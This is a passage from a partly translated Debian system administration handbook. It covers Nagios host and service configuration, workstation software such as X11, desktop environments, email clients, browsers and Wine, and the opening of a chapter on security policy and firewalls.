Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4

# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw

# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4

# systemctl start nagios4

12.4.2.2. 配置

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

These files should not be dived into without some understanding of the Nagios concepts. The configuration lists objects of the following types:

- a host is a machine to be monitored;

- a hostgroup is a set of hosts that should be grouped together for display, or to factor some common configuration elements;

- a service is a testable element related to a host or a host group. It will most often be a check for a network service, but it can also involve checking that some parameters are within an acceptable range (for instance, free disk space or processor load);

- a servicegroup is a set of services that should be grouped together for display;

- a contact is a person who can receive alerts;

- a contactgroup is a set of such contacts;

- a timeperiod is a range of time during which some services have to be checked;

- a command is the command line invoked to check a given service.

According to its type, each object has a number of properties that can be customized. A full list would be too long to include, but the most important properties are the relations between the objects.

A service uses a command to check the state of a feature on a host (or a hostgroup) within a timeperiod. In case of a problem, Nagios sends an alert to all members of the contactgroup linked to the service. Each member is sent the alert according to the channel described in the matching contact object.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

The Falcot Corp administrators use the following configuration:

範例 12.5. /etc/nagios4/conf.d/falcot.cfg file

define contact{

name                            generic-contact

service_notification_period     24x7

host_notification_period        24x7

service_notification_options    w,u,c,r

host_notification_options       d,u,r

service_notification_commands   notify-service-by-email

host_notification_commands      notify-host-by-email

register                        0 ; Template only

}

define contact{

use             generic-contact

contact_name    rhertzog

alias           Raphael Hertzog

email           hertzog@debian.org

}

define contact{

use             generic-contact

contact_name    rmas

alias           Roland Mas

email           lolando@debian.org

}

define contactgroup{

contactgroup_name     falcot-admins

alias                 Falcot Administrators

members               rhertzog,rmas

}

define host{

use                   generic-host ; Name of host template to use

host_name             www-host

alias                 www.falcot.com

address               192.168.0.5

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

define host{

use                   generic-host ; Name of host template to use

host_name             ftp-host

alias                 ftp.falcot.com

address               192.168.0.12

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

# 'check_ftp' command with custom parameters

define command{

command_name          check_ftp2

command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Generic Falcot service

define service{

name                  falcot-service

use                   generic-service

contact_groups        falcot-admins

register              0

}

# Services to check on www-host

define service{

use                   falcot-service

host_name             www-host

service_description   HTTP

check_command         check_http

}

define service{

use                   falcot-service

host_name             www-host

service_description   HTTPS

check_command         check_https

}

define service{

use                   falcot-service

host_name             www-host

service_description   SMTP

check_command         check_smtp

}

# Services to check on ftp-host

define service{

use                   falcot-service

host_name             ftp-host

service_description   FTP

check_command         check_ftp2

}

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

Note the use of inheritance: an object is made to inherit from another object with the “use parent-name”. The parent object must be identifiable, which requires giving it a “name identifier” property. If the parent object is not meant to be a real object, but only to serve as a parent, giving it a “register 0” property tells Nagios not to consider it, and therefore to ignore the lack of some parameters that would otherwise be required.

DOCUMENTATION List of object properties

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

進階閱讀使用 NRPE 進行遠程測試

Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from /etc/nagios/nrpe.cfg. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.

章 13. 工作站

現在伺務器部署已完成，管理員可以專注於安裝各個工作站服務並創建典型配置。

13.1. 設置X11伺務器

簡短提醒：X.org 是允許圖形應用程式在銀幕上顯示窗口的軟體組件。 它包含一個可以有效利用顯示卡的驅動程序。 提供給圖形應用程式的功能通過標準的API接口導出, X11 (Bullseye 包含版本 X11R7.7).

看法 X11, XFree86 和 X.org

X11 is the graphical system most widely used on Unix-like systems (also available for Windows and Mac OS). Strictly speaking, the term “X11” only refers to a protocol specification, but it is also used to refer to the implementation in practice.

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Bullseye uses X.org version 7.7.

Current versions of X.org are able to auto-detect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

The keyboard configuration is currently set up in /etc/default/keyboard. This file is used both to configure the text console and the graphical interface, and it is handled by the keyboard-configuration package. Details on configuring the keyboard layout are available in 節 8.1.2, “組態鍵盤”.

The xserver-xorg-core package provides a generic X server, as used by the 7.x versions of X.org. This server is modular and uses a set of independent drivers to handle the many different kinds of video cards. Installing xserver-xorg ensures that both the server and at least one video driver are installed.

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stretch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched nouveau as autoconfigured driver 0

(==) Matched modesetting as autoconfigured driver 1

(==) Matched fbdev as autoconfigured driver 2

(==) Matched vesa as autoconfigured driver 3

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

(II) Module intel: vendor="X.Org Foundation"

EXTRA Proprietary drivers

Some video card makers (most notably NVIDIA) refuse to publish the hardware specifications that would be required to implement good free drivers. They do, however, provide proprietary drivers that allow using their hardware. This policy is nefarious, because even when the provided driver exists, it is usually not as polished as it should be; more importantly, it does not necessarily follow the X.org updates, which may prevent the latest available driver from loading correctly (or at all). We cannot condone this behavior, and we recommend you avoid these makers and favor more cooperative manufacturers.

If you still end up with such a card, you will find the required packages in the non-free section: nvidia-driver for NVIDIA cards. It requires a matching kernel module. Building the module can be automated by installing the package nvidia-kernel-dkms (for NVIDIA).

The nouveau project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called radeon and amdgpu, are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. Customizing the Graphical Interface

13.2.1. Choosing a Display Manager

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). More alternatives exist and can be found by searching for the x-display-manager virtual package.

Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behavior while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. Choosing a Window Manager

Since each graphical desktop provides its own window manager, which window manager you choose is usually influenced by which desktop you have selected. GNOME uses the mutter window manager, Plasma uses kwin, and Xfce (which we present later) has xfwm. The Unix philosophy always allows using one's window manager of choice, but following the recommendations allows an administrator to best take advantage of the integration efforts led by each project.

BACK TO BASICS Window manager

The window manager displays the “decorations” around the windows belonging to the currently running applications, which includes frames and the title bar. It also allows reducing, restoring, maximizing, and hiding windows. Most window managers also provide a menu that pops up when the desktop is clicked in a specific way. This menu provides the means to close the window manager session, start new applications, and in some cases, change to another window manager (if installed).

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter alternative (search for the x-window-manager virtual package) should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), afterstep, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

DEBIAN SPECIFICITY Alternatives

The Debian policy lists a number of standardized commands able to perform a particular action. For example, the x-window-manager command invokes a window manager. But Debian does not assign this command to a fixed window manager. The administrator can choose which manager it should invoke.

For each window manager, the relevant package therefore registers the appropriate command as a possible choice for x-window-manager along with an associated priority. Barring explicit configuration by the administrator, this priority allows picking the best installed window manager when the generic command is run.

Both the registration of commands and the explicit configuration involve the update-alternatives script. Choosing where a symbolic command points at is a simple matter of running update-alternatives --config symbolic-command. This script creates (and maintains) symbolic links in the /etc/alternatives/ directory, which in turn references the location of the executable. As time passes, packages are installed or removed, and/or the administrator makes explicit changes to the configuration. When a package providing an alternative is removed, the alternative automatically goes to the next best choice among the remaining possible commands.

Not all symbolic commands are explicitly listed by the Debian policy; some Debian package maintainers deliberately chose to use this mechanism in less straightforward cases where it still brings interesting flexibility (examples include x-www-browser, www-browser, cc, c++, awk, and so on).

13.2.3. Menu Management

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

HISTORY The Debian menu system

Historically — way before the FreeDesktop.org standards emerged — Debian had invented its own menu system where each package provided a generic description of the desired menu entries in /usr/share/menu/. This tool is still available in Debian (in the menu package) but it is only marginally useful since package maintainers are encouraged to rely on .desktop files instead.

13.3. Graphical Desktops

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular.

This diversity is rooted in history. Plasma (initially only KDE, which is now the name of the community) was the first graphical desktop project, but it chose the Qt graphical toolkit and that choice wasn't acceptable for a large number of developers. Qt was not free software at the time, and GNOME was started based on the GTK+ toolkit. Qt has since become free software, but the projects still evolved in parallel.

The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.

Choosing “the best” graphical desktop is a sensitive topic which we prefer to steer clear of. We will merely describe the many possibilities and give a few pointers for further thoughts. The best choice will be the one you make after some experimentation.

13.3.1. GNOME

Debian Bullseye includes GNOME version 3.38, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task - task-desktop and task-gnome-desktop).

GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing its standards and recommendations, which has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.

圖形 13.1. The GNOME desktop

For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The GNOME website provides information to guide administrators who manage GNOME workstations:

→ https://help.gnome.org/admin/

13.3.2. KDE and Plasma

Debian Bullseye includes version 5.20 of KDE Plasma, which can be installed with apt install kde-standard (task-kde-desktop).

Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. Plasma is a mature desktop environment with a wide range of applications.

圖形 13.2. The Plasma desktop

Since the Qt 4.0 release, the last remaining license problem with KDE software has been solved. This version was released under the GPL both for Linux and Windows (the Windows version was previously released under a non-free license). KDE applications are primarily developed using the C++ language.

13.3.3. Xfce and Others

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4 (task-xfce-desktop). Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

Unlike GNOME and Plasma, Xfce does not aim to become a vast project. Beyond the basic components of a modern desktop (file manager, window manager, session manager, a panel for application launchers and so on), it only provides a few specific applications: a terminal, a calendar (orage), an image viewer, a CD/DVD burning tool, a media player (parole), sound volume control and a text editor (mousepad).

→ https://xfce.org/

圖形 13.3. The Xfce desktop

13.3.4. Other Desktop Environments

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde (task-lxde-desktop), and lxqt (task-lxqt-desktop) metapackages.

→ https://lxde.org/

→ https://lxqt.org/

圖形 13.4. The LXDE desktop

圖形 13.5. The LXQT desktop

Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed with the cinnamon-desktop-environment (task-cinnamon-desktop) and mate-desktop-environment (task-mate-desktop) meta-packages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

圖形 13.6. The Cinnamon desktop

圖形 13.7. The MATE desktop

13.4. Email

13.4.1. Evolution

COMMUNITY Popular packages

Installing the popularity-contest package enables participation in an automated survey that informs the Debian project about the most popular packages. A script is run weekly by cron which sends an anonymized list of the installed packages (by HTTP or email) and the latest access date for the files they contain. This allows the Debian maintainers to know which packages are most frequently installed, and of these, how frequently they are actually used.

This information is a great help to the Debian project. It is used to determine which packages should go on the first installation disks. The installation data is also an important factor used to decide whether to remove a package with very few users from the distribution. We heartily recommend installing the popularity-contest package, and participating in the survey.

The collected data are made public every day.

→ https://popcon.debian.org/

These statistics can also help users to choose between two packages that seem otherwise equivalent. Choosing the more popular package is probably a safer choice.

Evolution is the GNOME email client and can be installed with apt install evolution. It is more than a simple email client: it also provides a calendar, an address book, a task list, and a memo (free-form note) application. Its email component includes a powerful message indexing system, and allows for the creation of virtual folders based on search queries on all archived messages. In other words, all messages are stored the same way but displayed in a folder-based organization, each folder containing messages that match a set of filtering criteria.

圖形 13.8. The Evolution email software

An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews.

13.4.2. KMail

The KDE email software can be installed with apt install kmail. KMail only handles email, but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes features such as address books, a calendar component, and so on. KMail has all the features one would expect from an excellent email client.

圖形 13.9. The KMail email software

13.4.3. Thunderbird

The thunderbird package provides the email client from the Mozilla software suite. Various localization sets are available in thunderbird-l10n-* packages; the enigmail extension handles message encrypting and signing, but it is not available in all languages.

圖形 13.10. The Thunderbird email software

13.5. Web Browsers

Epiphany, the web browser in the GNOME suite, uses the WebKit display engine developed by Apple for its Safari browser. The relevant package is epiphany-browser.

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML. KDE also has a newer browser called Falkon, available in the falkon package. It uses the QtWebEngine.

Users not satisfied by any of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

圖形 13.11. The Firefox web browser

VOCABULARY Firefox ESR

Mozilla has a very fast-paced release cycle for Firefox. New releases are published every six to eight weeks and only the latest version is supported for security issues. This doesn't suit all kind of users so, every 10 cycles, they are promoting one of their release to an Extended Support Release (ESR) which will get security updates (and no functional changes) during the next 10 cycles (which covers a bit more than a year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is used by default since it is the only version suitable for Debian Stable with its long support period (and even there Debian has to upgrade from one ESR release to the next multiple times during a Debian Stable lifecycle). The regular Firefox is available in the firefox package but it is only available to users of Debian Unstable.

CULTURE Iceweasel, Firefox and others

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel package contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox had to use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian could not distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer choose to use a different name.

For similar reasons, the Thunderbird™ email client was renamed to Icedove in a similar fashion.

Nowadays, the logo and icons are distributed under a free software license and Mozilla recognized that the changes made by the Debian project are respecting their trademark license so Debian is again able to ship Mozilla's applications under their official name.

CULTURE Mozilla

Netscape Navigator was the standard browser when the web started reaching the masses, but lost ground when Microsoft bundled Internet Explorer with Windows and signed contracts with computer manufacturers which forbade them from pre-installing Netscape Navigator. Faced with this failure, Netscape (the company) decided to “free” its source code, by releasing it under a free license, to give it a second life. This was the beginning of the Mozilla project. After many years of development, the results are more than satisfying: the Mozilla project brought forth an HTML rendering engine (called Gecko) that is among the most standard-compliant. This rendering engine is in particular used by the Mozilla Firefox browser, which is one of the major browsers.

Last but not least, Debian also contains the Chromium web browser (available in the chromium package). This browser is developed by Google and has become the most popular browser in just a few years. Its clear purpose is to make web services more attractive, both by optimizing the browser for performance and by increasing the user's security. The free code that powers Chromium is also used by its proprietary version called Google Chrome™.

13.6. Development

13.6.1. Tools for GTK+ on GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library through its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Tools for Qt

The equivalent applications for Qt applications are KDevelop by KDE (in the kdevelop package) for the development environment, and Qt Designer (in the qttools5-dev-tools package) for the design of graphical interfaces for Qt applications.

KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP and different build systems.

13.7. Office Suites

Office software has long been seen as lacking in the free software world. Users require replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when Sun released the StarOffice code under a free license as OpenOffice, a project which later gave birth to LibreOffice, which is available on Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice), and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For instance, the Gnumeric spreadsheet is better than OpenOffice.org/LibreOffice in some domains, notably the precision of its calculations. On the word processing front, the LibreOffice suite still leads the way.

Another important feature for users is the ability to import Microsoft Office documents. Even though all office suites have this feature, only the ones in OpenOffice.org and LibreOffice are functional enough for daily use.

THE BROADER VIEW LibreOffice replaces OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to foster the project's development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. This office suite is now known as LibreOffice, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project. This project is not currently available in Debian and is rather moribund when compared to LibreOffice.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively.

Language-specific packs for LibreOffice are distributed in separate packages, most notably libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*, hunspell-*, hyphen-* and mythes-*.

13.8. Emulating Windows: Wine

In spite of all the previously mentioned efforts, there are still a number of tools without a Linux equivalent, or for which the original version is absolutely required. This is where Windows emulation systems come in handy. The most well-known among them is Wine.

→ https://www.winehq.org/

COMPLEMENTS CrossOver Linux

CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broadens the available set of emulated features to a point at which Microsoft Office becomes fully usable. Some of the enhancements are periodically merged into Wine.

→ https://www.codeweavers.com/products/

However, one should keep in mind that it is only a solution among others, and the problem can also be tackled with a virtual machine or VNC; both of these solutions are detailed in the sidebars ALTERNATIVE Virtual machines and ALTERNATIVE Windows Terminal Server or VNC.

Let us start with a reminder: emulation allows executing a program (developed for a target system) on a different host system. The emulation software uses the host system, where the application runs, to imitate the required features of the target system.

Now let's install the required packages (ttf-mscorefonts-installer is in the contrib section):

# apt install wine ttf-mscorefonts-installer

On a 64 bit (amd64) system, if your Windows applications are 32 bit applications, then you will have to enable multi-arch to be able to install wine32 from the i386 architecture (see 節 5.4.5, “多架構支援”).

The user then needs to run winecfg and configure which (Debian) locations are mapped to which (Windows) drives. winecfg has some sane defaults and can auto-detect some more drives; note that even if you have a dual-boot system, you should not point the C: drive at where the Windows partition is mounted in Debian, as Wine is likely to overwrite some of the data on that partition, making Windows unusable. Other settings can be kept to their default values. To run Windows programs, you will first need to install them by running their (Windows) installer under Wine, with a command such as wine .../setup.exe; once the program is installed, you can run it with wine .../program.exe. The exact location of the program.exe file depends on where the C: drive is mapped; in many cases, however, simply running wine program will work, since the program is usually installed in a location where Wine will look for it by itself.

TIP Working around a winecfg failure

In some cases, winecfg (which is just a wrapper) might fail. As a workaround, it is possible to try to run the underlying command manually: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so or wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

Note that you should not rely on Wine (or similar solutions) without actually testing the particular software: only a real-use test will determine conclusively whether emulation is fully functional.

ALTERNATIVE Virtual machines

An alternative to emulating Microsoft's operating system is to actually run it in a virtual machine that emulates a full hardware machine. This allows running any operating system. 章 12, 高級管理 describes several virtualization systems, most notably Xen and KVM (but also QEMU, VMWare and VirtualBox).

ALTERNATIVE Windows Terminal Server or VNC

Yet another possibility is to remotely run the legacy Windows applications on a central server with Windows Terminal Server and access the application from Linux machines using rdesktop. This is a Linux client for the RDP protocol (Remote Desktop Protocol) that Windows NT/2000 Terminal Server uses to display desktops on remote machines.

The VNC software provides similar features, with the added benefit of also working with many operating systems. Linux VNC clients and servers are described in 節 9.2, “遠端登入”.

13.9. Real-Time Communications software

Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in 節 11.8, “Real-Time Communication Services”. In SIP (Session Initiation Protocol) terminology, a client application or device is also referred to as a user agent.

Each client application varies in functionality. Some applications are more convenient for intensive chat users while other applications are more stable for webcam users. It may be necessary to test several applications to identify those which are most satisfactory. A user may finally decide that they need more than one application, for example, an XMPP application for messaging with customers and an IRC application for collaboration with some online communities.

To maximize the ability of users to communicate with the wider world, it is recommended to configure both SIP and XMPP clients or a single client that supports both protocols.

The default GNOME desktop suggests the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi, Jitsi and Jami (formerly known as Ring).

Jitsi requires no client other than a web browser. It support encrypted calls, and there is a huge list of public instances. There is no official Debian package for Jitsi, but it can be downloaded from their official website.

Some of these applications can also interact with mobile users using apps such as Lumicall on Android.

→ https://lumicall.org

The Real-Time Communications Quick Start Guide has a chapter dedicated to client software.

→ http://rtcquickstart.org/guide/multi/useragents.html

TIP Look for clients supporting ICE and TURN

Some RTC clients have significant problems sending voice and video through firewalls and NAT networks. Users may receive ghost calls (their phone rings but they don't hear the other person) or they may not be able to call at all.

The ICE and TURN protocols were developed to resolve these issues. Operating a TURN server with public IP addresses in each site and using client software that supports both ICE and TURN gives the best user experience.

If the client software is only intended for instant messaging, there is no requirement for ICE or TURN support.

ALTERNATIVE Internet Relay Chat

IRC can also be considered, in addition to SIP and XMPP. IRC is more oriented around the concept of channels, the name of which starts with a hash sign #. Each channel is usually targeted at a specific topic and any number of people can join a channel to discuss it (but users can still have one-to-one private conversations if needed). The IRC protocol is older, and does not allow end-to-end encryption of the messages; it is still possible to encrypt the communications between the users and the server by tunneling the IRC protocol inside SSL.

IRC clients are a bit more complex, and they usually provide many features that are of limited use in a corporate environment. For instance, channel “operators” are users endowed with the ability to kick other users from a channel, or even ban them permanently, when the normal discussion is disrupted.

Since the IRC protocol is very old, many clients are available to cater for many user groups; examples include XChat, and Smuxi (graphical clients based on GTK+), Irssi (text mode), Circe (integrated to Emacs), and so on.

章 14. 安全性

An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.

14.1. Defining a Security Policy

CAUTION Scope of this chapter

Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject.

The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.

The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:

- What are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.

- What are we trying to protect against? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?

- Also, who are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.

The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.

NOTE Permanent questioning

Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.

Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.

Once the risk has been modeled, one can start thinking about designing an actual security policy.

NOTE Extreme policies

There are cases where the choice of actions required to secure a system is extremely simple.

For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.

At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…

Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.

In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.

14.2. Firewall or Packet Filtering

BACK TO BASICS Firewall

A firewall is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.

A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.

SPECIFIC CASE Local Firewall

A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services.

Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data.

